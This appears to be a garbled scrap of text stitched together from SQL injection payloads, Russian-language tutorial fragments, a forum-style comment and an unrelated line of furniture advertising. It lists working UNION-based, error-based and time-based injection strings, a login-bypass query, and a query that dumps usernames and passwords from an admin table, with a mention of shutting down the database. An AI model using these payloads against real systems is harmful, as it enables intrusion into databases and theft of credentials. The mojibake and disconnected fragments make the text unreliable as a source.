-999.9+union+all+select+%27R3DM0V3_hvj_injection',null%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL
SELECT id, login, pass, priv FROM user WEHRE name = '*'. login = ' UNION SELECT 1, 'admin', md5('1234'), 1 # pass = 1234. Проблема выше (Muracha'а) решается простым выводом данных.
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))) +.
...execute administration operations on the database (such as shutdown the DBMS)
... Machining of parts is done very carefully , as it affects the aesthetics of all the furniture and guarantees the safety of " marketable " look for many years. ...
So, as it's being used a lot, I would submit my answer. In my opinion, the aim of these requests is to check the presence or absence of a sql injection.
Самое популярное заблуждение — фильтрация одинарной кавычки: т.е. если кавычки в запросе не будет — то и инъекция (разделение запроса) невозможна. Поэтому мы и не будем разделять запрос, мы его объединим с помощью оператора UNION...
ññð°ð»ñð½ð¾ðµ, 999999.9'+union+all+select+null,null,null,null,null,null,null,null,null,null+and+'0'='0, чувства"+and+3>"1, понятие+о+трех+пространствах'+and+sleep(3)...
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
';SELECT null,null,null,null,null,null,null,null,null,null, null,null,null,null работает вне зависимости от числа полей в исходном.